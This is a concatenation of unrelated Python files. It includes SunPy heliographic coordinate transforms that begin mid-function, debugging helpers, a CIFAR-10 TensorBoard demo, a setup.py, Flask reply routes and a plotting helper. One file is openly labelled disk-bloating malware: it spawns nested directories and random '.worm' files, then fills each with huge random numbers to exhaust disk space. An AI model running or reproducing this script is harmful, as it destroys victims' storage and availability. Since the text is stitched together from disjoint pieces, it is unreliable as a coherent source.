    hglt = np.arcsin((y * cosb + z * sinb) / hecr)

    representation = SphericalRepresentation(
        np.rad2deg(hgln), np.rad2deg(hglt), hecr.to(u.km))
    return heliogframe.realize_frame(representation)

@frame_transform_graph.transform(FunctionTransform, HeliographicStonyhurst,
                                 Heliocentric)
def hgs_to_hcc(heliogcoord, heliocframe):
    """
    Convert from Heliographic Stonyhurst to Heliocentric Cartesian.
    """
    hglon = heliogcoord.spherical.lon
    hglat = heliogcoord.spherical.lat
    r = heliogcoord.spherical.distance
    if r.unit is u.one and u.allclose(r, 1*u.one):
        r = np.ones_like(r)
        r *= RSUN_METERS

    if not isinstance(heliocframe.observer, BaseCoordinateFrame):
        raise ConvertError("Cannot transform heliographic coordinates to "
                           "heliocentric coordinates for observer '{}' "
                           "without `obstime` being specified.".format(heliocframe.observer))

    l0_rad = heliocframe.observer.lon.to(u.rad)
    b0_deg = heliocframe.observer.lat

    lon = np.deg2rad(hglon)
    lat = np.deg2rad(hglat)

    cosb = np.cos(b0_deg.to(u.rad))
    sinb = np.sin(b0_deg.to(u.rad))

    lon = lon - l0_rad

    cosx = np.cos(lon)
    sinx = np.sin(lon)
    cosy = np.cos(lat)
    siny = np.sin(lat)

    x = r * cosy * sinx
    y = r * (siny * cosb - cosy * cosx * sinb)
    zz = r * (siny * sinb + cosy * cosx * cosb)

    representation = CartesianRepresentation(
        x.to(u.km), y.to(u.km), zz.to(u.km))

    return heliocframe.realize_frame(representation)

@frame_transform_graph.transform(FunctionTransform, Helioprojective,
                                 Helioprojective)
def hpc_to_hpc(heliopcoord, heliopframe):
    """
    This converts from HPC to HPC, with different observer location parameters.
    It does this by transforming through HGS.
    """
    if (heliopcoord.observer == heliopframe.observer or
        (u.allclose(heliopcoord.observer.lat, heliopframe.observer.lat) and
         u.allclose(heliopcoord.observer.lon, heliopframe.observer.lon) and
         u.allclose(heliopcoord.observer.radius, heliopframe.observer.radius))):
        return heliopframe.realize_frame(heliopcoord._data)

    if not isinstance(heliopframe.observer, BaseCoordinateFrame):
        raise ConvertError("Cannot transform between helioprojective frames "
                           "without `obstime` being specified for observer {}.".format(heliopframe.observer))
    if not isinstance(heliopcoord.observer, BaseCoordinateFrame):
        raise ConvertError("Cannot transform between helioprojective frames "
                           "without `obstime` being specified for observer {}.".format(heliopcoord.observer))

    hgs = heliopcoord.transform_to(HeliographicStonyhurst)
    hgs.observer = heliopframe.observer
    hpc = hgs.transform_to(heliopframe)

    return hpc

def _make_rotation_matrix_from_reprs(start_representation, end_representation):
    """
    Return the matrix for the direct rotation from one representation to a second representation.
    The representations need not be normalized first.
    """
    A = start_representation.to_cartesian()
    B = end_representation.to_cartesian()
    rotation_axis = A.cross(B)
    rotation_angle = -np.arccos(A.dot(B) / (A.norm() * B.norm()))  # negation is required

    # This line works around some input/output quirks of Astropy's rotation_matrix()
    matrix = np.array(rotation_matrix(rotation_angle, rotation_axis.xyz.value.tolist()))
    return matrix

# The Sun's north pole is oriented RA=286.13 deg, dec=63.87 deg in ICRS, and thus HCRS as well
# (See Archinal et al. 2011,
#   "Report of the IAU Working Group on Cartographic Coordinates and Rotational Elements: 2009")
# The orientation of the north pole in ICRS/HCRS is assumed to be constant in time
_SOLAR_NORTH_POLE_HCRS = UnitSphericalRepresentation(lon=286.13*u.deg, lat=63.87*u.deg)

# Calculate the rotation matrix to de-tilt the Sun's rotation axis to be parallel to the Z axis
_SUN_DETILT_MATRIX = _make_rotation_matrix_from_reprs(_SOLAR_NORTH_POLE_HCRS,
                                                      CartesianRepresentation(0, 0, 1))

@frame_transform_graph.transform(AffineTransform, HCRS, HeliographicStonyhurst)
def hcrs_to_hgs(hcrscoord, hgsframe):
    """
    Convert from HCRS to Heliographic Stonyhurst (HGS).

    HGS shares the same origin (the Sun) as HCRS, but has its Z axis aligned with the Sun's
    rotation axis and its X axis aligned with the projection of the Sun-Earth vector onto the Sun's
    equatorial plane (i.e., the component of the Sun-Earth vector perpendicular to the Z axis).
    Thus, the transformation matrix is the product of the matrix to align the Z axis (by de-tilting
    the Sun's rotation axis) and the matrix to align the X axis.  The first matrix is independent
    of time and is pre-computed, while the second matrix depends on the time-varying Sun-Earth
    vector.
    """
    if hgsframe.obstime is None:
        raise ValueError("To perform this transformation the coordinate"
                         " Frame needs an obstime Attribute")

    # Determine the Sun-Earth vector in ICRS
    # Since HCRS is ICRS with an origin shift, this is also the Sun-Earth vector in HCRS
    sun_pos_icrs = get_body_barycentric('sun', hgsframe.obstime)
    earth_pos_icrs = get_body_barycentric('earth', hgsframe.obstime)
    sun_earth = earth_pos_icrs - sun_pos_icrs

    # De-tilt the Sun-Earth vector to the frame with the Sun's rotation axis parallel to the Z axis
    sun_earth_detilt = sun_earth.transform(_SUN_DETILT_MATRIX)

    # Remove the component of the Sun-Earth vector that is parallel to the Sun's north pole
    # (The additional transpose operations are to handle both scalar and array obstime situations)
    hgs_x_axis_detilt = CartesianRepresentation((sun_earth_detilt.xyz.T * [1, 1, 0]).T)

    # The above vector, which is in the Sun's equatorial plane, is also the X axis of HGS
    x_axis = CartesianRepresentation(1, 0, 0)
    if hgsframe.obstime.isscalar:
        rot_matrix = _make_rotation_matrix_from_reprs(hgs_x_axis_detilt, x_axis)
    else:
        rot_matrix_list = [_make_rotation_matrix_from_reprs(vect, x_axis) for vect in hgs_x_axis_detilt]
        rot_matrix = np.stack(rot_matrix_list)

    total_matrix = matrix_product(rot_matrix, _SUN_DETILT_MATRIX)

    # All of the above is calculated for the HGS observation time
    # If the HCRS observation time is different, calculate the translation in origin
    if np.any(hcrscoord.obstime != hgsframe.obstime):
        sun_pos_old_icrs = get_body_barycentric('sun', hcrscoord.obstime)
        offset_icrf = sun_pos_icrs - sun_pos_old_icrs
        offset = offset_icrf.transform(total_matrix)
    else:
        offset = CartesianRepresentation(0, 0, 0)*u.m

    return total_matrix, offset

@frame_transform_graph.transform(AffineTransform, HeliographicStonyhurst, HCRS)
def hgs_to_hcrs(hgscoord, hcrsframe):
    """
    Convert from Heliographic Stonyhurst to HCRS.
    """
    # Calculate the matrix and offset in the HCRS->HGS direction
    total_matrix, offset = hcrs_to_hgs(hcrsframe, hgscoord)

    # Invert the transformation to get the HGS->HCRS transformation
    reverse_matrix = matrix_transpose(total_matrix)
    reverse_offset = (-offset).transform(reverse_matrix)

    return reverse_matrix, reverse_offset

@frame_transform_graph.transform(FunctionTransform, HeliographicStonyhurst, HeliographicStonyhurst)
def hgs_to_hgs(from_coo, to_frame):
    """
    Convert between two Heliographic Stonyhurst frames.
    """
    if np.all(from_coo.obstime == to_frame.obstime):
        return to_frame.realize_frame(from_coo.data)
    else:
        return from_coo.transform_to(HCRS).transform_to(to_frame)

@frame_transform_graph.transform(FunctionTransform, HeliographicCarrington, HeliographicCarrington)
def hgc_to_hgc(from_coo, to_frame):
    """
    Convert between two Heliographic Carrington frames.
    """
    if np.all(from_coo.obstime == to_frame.obstime):
        return to_frame.realize_frame(from_coo.data)
    else:
        return from_coo.transform_to(HeliographicStonyhurst(obstime=from_coo.obstime)).\
               transform_to(HeliographicStonyhurst(obstime=to_frame.obstime)).transform_to(to_frame)

@frame_transform_graph.transform(FunctionTransform, Heliocentric, Heliocentric)
def hcc_to_hcc(hcccoord, hccframe):
    """
    Convert from  Heliocentric to Heliocentric
    """
    if _observers_are_equal(hcccoord.observer, hccframe.observer, string_ok=True):
        return hccframe.realize_frame(hcccoord._data)

    hgscoord = hcccoord.transform_to(HeliographicStonyhurst)
    hgscoord.observer = hccframe.observer
    hcccoord = hgscoord.transform_to(hccframe)

    return hcccoord

def _make_sunpy_graph():
    """
    Culls down the full transformation graph for SunPy purposes and returns the string version
    """
    # Frames to keep in the transformation graph
    keep_list = ['icrs', 'hcrs', 'heliocentrictrueecliptic', 'heliocentricmeanecliptic',
                 'heliographic_stonyhurst', 'heliographic_carrington',
                 'heliocentric', 'helioprojective',
                 'gcrs', 'precessedgeocentric', 'geocentrictrueecliptic', 'geocentricmeanecliptic',
                 'cirs', 'altaz', 'itrs']

    global frame_transform_graph
    backup_graph = deepcopy(frame_transform_graph)

    small_graph = deepcopy(frame_transform_graph)
    cull_list = [name for name in small_graph.get_names() if name not in keep_list]
    cull_frames = [small_graph.lookup_name(name) for name in cull_list]

    for frame in cull_frames:
        # Remove the part of the graph where the unwanted frame is the source frame
        if frame in small_graph._graph:
            del small_graph._graph[frame]

        # Remove all instances of the unwanted frame as the destination frame
        for entry in small_graph._graph:
            if frame in small_graph._graph[entry]:
                del (small_graph._graph[entry])[frame]

    # Clean up the node list
    for name in cull_list:
        small_graph._cached_names.pop(name)

    _add_astropy_node(small_graph)

    # Overwrite the main transform graph
    frame_transform_graph = small_graph

    docstr = make_transform_graph_docs()

    # Restore the main transform graph
    frame_transform_graph = backup_graph

    # Make adjustments to the graph
    docstr = _tweak_graph(docstr)

    return docstr

def _add_astropy_node(graph):
    """
    Add an 'Astropy' node that links to an ICRS node in the graph
    """
    class Astropy(BaseCoordinateFrame):
        name = "REPLACE"

    @graph.transform(FunctionTransform, Astropy, ICRS)
    def fake_transform1():
        pass

    @graph.transform(FunctionTransform, ICRS, Astropy)
    def fake_transform2():
        pass

def _tweak_graph(docstr):
    # Remove Astropy's diagram description
    output = docstr[docstr.find('.. Wrap the graph'):]

    # Change the Astropy node
    output = output.replace('Astropy [shape=oval label="Astropy\\n`REPLACE`"]',
                            'Astropy [shape=box3d style=filled fillcolor=lightcyan '
                            'label="Other frames\\nin Astropy"]')

    # Change the Astropy<->ICRS links to black
    output = output.replace('ICRS -> Astropy[  color = "#783001" ]',
                            'ICRS -> Astropy[  color = "#000000" ]')
    output = output.replace('Astropy -> ICRS[  color = "#783001" ]',
                            'Astropy -> ICRS[  color = "#000000" ]')

    # Set the nodes to be filled and cyan by default
    output = output.replace('AstropyCoordinateTransformGraph {',
                            'AstropyCoordinateTransformGraph {\n'
                            '        node [style=filled fillcolor=lightcyan]')

    # Set the nodes for SunPy frames to be white
    sunpy_frames = ['HeliographicStonyhurst', 'HeliographicCarrington',
                    'Heliocentric', 'Helioprojective']
    for frame in sunpy_frames:
        output = output.replace(frame + ' [', frame + ' [fillcolor=white ')

    output = output.replace('<ul>\n\n',
                            '<ul>\n\n' +
                            _add_legend_row('SunPy frames', 'white') +
                            _add_legend_row('Astropy frames', 'lightcyan'))

    return output

def _add_legend_row(label, color):
    row = '        <li style="list-style: none;">\n'\
          '            <p style="font-size: 12px;line-height: 24px;font-weight: normal;'\
          'color: #848484;padding: 0;margin: 0;">\n'\
          '                <b>' + label + ':</b>\n'\
          '                    <span class="dot" style="height: 20px;width: 40px;'\
          'background-color: ' + color + ';border-radius: 50%;border: 1px solid black;'\
          'display: inline-block;"></span>\n'\
          '            </p>\n'\
          '        </li>\n\n\n'
    return row


from __future__ import print_function
import six

import datetime

import numpy as np

def dd(a, showall=False):
    """ Extract only _public_ property names from dir(a). """
    return [x for x in dir(a) if showall or x.find('_') != 0]

def pl(l):
    """ Print all elements of l, each on a separate line. """
    for x in l:
        print(x)

def pd(a, *args, **kwargs):
    """
    Print property names of 'a'.

    Additional Args, Kwargs:
        passed to dd (q.v.)
    """
    pl(dd(a, *args, **kwargs))

def str_indent(str_lines, indent=4):
    """Add extra indents into \\n-separated string."""
    indent_str = ' ' * indent
    return '\n'.join([indent_str + line
                      for line in str_lines.split('\n')])

def inspect_lines(obj, indent=4, showall=False, showcalls=False):
    topline = '<{}>'.format(type(obj))
    attrs = [(name, getattr(obj, name))
             for name in sorted(dir(obj))
             if (showall or not name.startswith('_'))]
    if not showall:
        attrs = [(name, value) for name, value in attrs
                 if not name.startswith('_')]
    if not showcalls:
        attrs = [(name, value) for name, value in attrs
                 if not callable(value)]
    heads = ['{} {:s}'.format(name, str(type(value)))
             for name, value in attrs]
    values = [str(value) if not callable(value) else '()'
              for (name, value) in attrs]
    lines = [str_indent(head + ' : ' + value, indent)
             if len(head + value) < 80
             else str_indent(head + ' :\n'
                             + str_indent(value, indent),
                             indent)
             for head, value in zip(heads, values)]
    return [topline] + lines

def pi(obj, *args, **kwargs):
    """Inspect type+contents of attributes of object.

    Additional and Kwargs:
        passed to inspect_lines (q.v.)
    """
    pl(inspect_lines(obj, *args, **kwargs))

def minmax(v):
    """ Return np.min(v) and np.max(v) as a pair. """
    return (np.min(v), np.max(v))

class TimedBlock(object):
    """A class with contextmanager behaviour, to time a block of statements."""
    def __init__(self, action=None):
        """
        Create contextmanager object.

        After use, this contains the elapsed time result.

        Usage:
          with TimedBlock() as t:
              <statements ...
              ...
              >
          time_taken = t.seconds()

        Note: can use "action" as :
         * True : standard message
         * string : custom message, as in: "print action.format(seconds)"
         * callable : call(self).

        """
        self.start_datetime = None
        self.elapsed_deltatime = None
        if action is None:
            print_call = None
        elif hasattr(action, '__call__'):
            print_call = action
        else:
            if not isinstance(action, six.string_types):
                action = 'Time taken : {:12.6f} seconds'

            def _inner_print(self):
                print(action.format(self.seconds()))

            print_call = _inner_print
        self.print_call = print_call

    def __enter__(self):
        self.start_datetime = datetime.datetime.now()
        return self

    def __exit__(self, e1, e2, e3):
        self.end_datetime = datetime.datetime.now()
        self.elapsed_deltatime = self.end_datetime - self.start_datetime
        self._seconds = self.elapsed_deltatime.total_seconds()
        if self.print_call is not None:
            self.print_call(self)

    def seconds(self):
        """Our elapsed time in seconds."""
        return self._seconds

def pwhich(name):
    module = __import__(name)
    print(name, '.__file__ = ', module.__file__)
    print(name, '.__version__ = ', getattr(module, '__version__', '(None)'))

def array_difference_stats(array_a, array_b, min_reldiff=1e-20):
    import numpy.ma as ma
    from collections import OrderedDict
    diffs = array_a - array_b
    absdiffs = np.abs(diffs)
    absmags = 0.5*(np.abs(array_a) + np.abs(array_b))
    absmags = np.max(absmags, min_reldiff * np.max(absmags))
    reldiffs = absdiffs / absmags
    result = OrderedDict(
        [(name, OrderedDict(
            [(op.__name__, op(array))
             for op in (ma.min, ma.max, ma.mean, ma.median)]))
         for array, name in zip(
             [array_a, diffs, absdiffs, reldiffs],
             ['values', 'diffs', 'abs-diffs', 'rel-diffs'])])
    return result

def format_array_difference_stats(array_a, array_b, **kwargs):
    results = array_difference_stats(array_a, array_b, **kwargs)
    strs = []
    for typename, opsdict in results.iteritems():
        strs.append('{:>10s}:  {}'.format(typename, ',  '.join([
            '{:>6s}={:>12s}'.format(opname, '{:>7g}'.format(value))
            for opname, value in opsdict.iteritems()])))
    return strs

def show_array_difference_stats(array_a, array_b, **kwargs):
    strings = format_array_difference_stats(array_a, array_b, **kwargs)
    print('\n'.join(strings))


import torchvision
from tensorboardX import SummaryWriter
from torch import nn
from torch.nn import Sigmoid
from torch.utils.data import DataLoader

dataset = torchvision.datasets.CIFAR10("./dataset", train=False, transform=torchvision.transforms.ToTensor())
dataloader = DataLoader(dataset, batch_size=64)

class Eureka(nn.Module):
    def __init__(self):
        super(Eureka, self).__init__()
        self.sigmoid1 = Sigmoid()

    def forward(self, input):
        output = self.sigmoid1(input)
        return output

writer = SummaryWriter("logs")
eu = Eureka()
step = 0
for data in dataloader:
    imgs, targets = data
    writer.add_images("input", imgs, step)
    output = eu(imgs)
    writer.add_images("output", output, step)
    step += 1

writer.close()


#!/usr/bin/env python3

from setuptools import setup
from slats.version import NAME, DESCRIPTION, VERSION

# Parse readme to include in PyPI page
with open("README.md") as f:
    long_description = f.read()

def capitalize(s):
    """Capitalize the first letter of a string.

    Unlike the capitalize string method, this leaves the other
    characters untouched.
    """
    return s[:1].upper() + s[1:]

setup(
    name=NAME,
    version=VERSION,
    description=capitalize(DESCRIPTION),
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/mwiens91/slats",
    author="Matt Wiens",
    author_email="mwiens91@gmail.com",
    license='BSD 3-clause "New" or "Revised License"',
    classifiers=[
        "Development Status :: 4 - Beta",
        "Intended Audience :: End Users/Desktop",
        "License :: OSI Approved :: BSD License",
        "Natural Language :: English",
        "Operating System :: Unix",
        "Programming Language :: Python",
        "Programming Language :: Python :: 3",
        "Programming Language :: Python :: 3.6",
        "Programming Language :: Python :: 3.7",
        "Programming Language :: Python :: 3 :: Only",
    ],
    packages=["slats"],
    entry_points={"console_scripts": ["slats = slats.main:main"]},
    python_requires=">=3.6",
    install_requires=["PyYAML>=5.1b3", "spotipy>=2.4.4"],
)


import os
import glob
import subprocess
import argparse
import random
import termcolor as tc
import numpy as np

parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-h',
                    '--help',
                    help='Bloating malware to fill up disk space fast')
parser.add_argument('-p',
                    '--parasite',
                    help='Specify number of parasites to infest (# of nests).',
                    type=int)
parser.add_argument('-s',
                    '--spore',
                    help='Specify number of worms to transport in spores.',
                    type=int)
parser.add_argument('-x',
                    '--xfactor',
                    help='Specify severity of infestation (size of worms)',
                    type=int)

# TODO remove after dev/testing
if 'parasite' in os.listdir(os.getcwd()):
    subprocess.call(['rm', '-r', 'parasite'])
# --

def infest(virus_type):
    print(tc.colored('PARASITE INFESTING SYSTEM', 'cyan'))
    subprocess.call(['mkdir', virus_type])
    curr_path = os.getcwd()
    goto_path = curr_path + '/' + virus_type
    os.chdir(goto_path)

def meiosis():
    geneP = str(np.random.randint(1000, 99999) ** 500)
    geneM = str(np.random.randint(1000, 99999) ** 300)
    progeny_gene = geneP + geneM
    return progeny_gene

def mitosis():
    gene = random.choices('1246790xykzXZ', k=6)
    RNA = str(''.join(gene))
    return RNA

def spawn_worm():
    pre = 'BLOAT__'
    suf = '.worm' # edit file ext
    worm = pre + mitosis() + suf
    return worm

def spores(N):
    print(tc.colored('SPREADING SPORES', 'yellow', attrs=['bold']))
    for i in range(N):
        subprocess.call(['touch', spawn_worm()])

def disect():
    worms = glob.glob('*BLOAT*', recursive=True)
    for worm in worms:
        subprocess.call(['cat', worm])

def organic():
    return np.random.randint(7, 700)

## -- MALWARE -- ##
def outbreak():
    args = parser.parse_args()

    def infect():
        print(tc.colored('INFECTING', 'red', attrs=['bold']))
        worms = glob.glob('*BLOAT*', recursive=True)
        for worm in worms:
            print(tc.colored(worm, 'red'))
            with open(worm, 'a') as f:
                for i in range(severity):
                    f.write('\n')
                    f.write(meiosis())

    if args.xfactor:
        severity = args.xfactor
    else:
        severity = organic()

    if args.parasite:
        nests = args.parasite
    else:
        nests = organic()

    for i in range(nests):
        infest('parasite')

        if args.spore:
            spores(args.spore)
        else:
            spores(organic())

        infect()
        disect()

        print('\n')

if __name__ == "__main__":
    outbreak()


from flask import Blueprint, request, redirect, url_for, jsonify
from flask_login import login_required, current_user
from app.models import Reply, Comment,Post, db
from app.forms import ReplyForm

reply_routes = Blueprint("replies", __name__)

@reply_routes.route("/<int:reply_id>", methods=["PUT"])
@login_required
def edit_reply(reply_id):
    """
    Query for a reply by id and return it

    Use: edit the reply by reply owner
    """
    reply = Reply.query.get_or_404(reply_id)
    form = ReplyForm()

    form['csrf_token'].data = request.cookies['csrf_token']
    if form.validate_on_submit():
        if reply.user_id == current_user.id:
            reply.reply = form.data["reply"]
            db.session.commit()
            return reply.to_dict()
        return redirect(url_for("auth.unauthorized"))

@reply_routes.route("/<int:reply_id>", methods=["DELETE"])
@login_required
def delete_reply(reply_id):
    """
    Query for a reply by id

    Use: delete the reply by reply owner or post owner
    """
    reply = Reply.query.get_or_404(reply_id)
    owner_id = reply.comment.post.user_id
    if reply.user_id == current_user.id or owner_id == current_user.id:
        db.session.delete(reply)
        db.session.commit()
        return jsonify({"message":"Reply successfully deleted"})
    return redirect(url_for("auth.unauthorized"))


# matplotlib.use('TkAgg')
import matplotlib.pyplot as plt

def plot_model_results(trained_model, file_path='output', model_name='resume_parser', result_type=('acc', 'val_acc')):
    """
    Plot the accuracy/loss of the trained model
    :param trained_model: trained keras model object
    :param file_path: output directory
    :param model_name: name of the model
    :param result_type: list of accuracy and loss
    :return:
    """
    plt.style.use('ggplot')
    plt.plot(trained_model.history[result_type[0]])
    plt.plot(trained_model.history[result_type[1]])
    if result_type[0] == 'acc':
        plt.title('Model Accuracy')
        plt.ylabel('Accuracy')
        plt.xlabel('Epochs')
    elif result_type[0] == 'loss':
        plt.title('Model Loss')
        plt.ylabel('Accuracy')
        plt.xlabel('Epochs')

    plt.legend(['Train', 'Validation'], loc='upper left')

    # save the plot
    plt.tight_layout()
    plt.savefig("{}/{}_{}.png".format(file_path, model_name, result_type[0]))
    plt.close()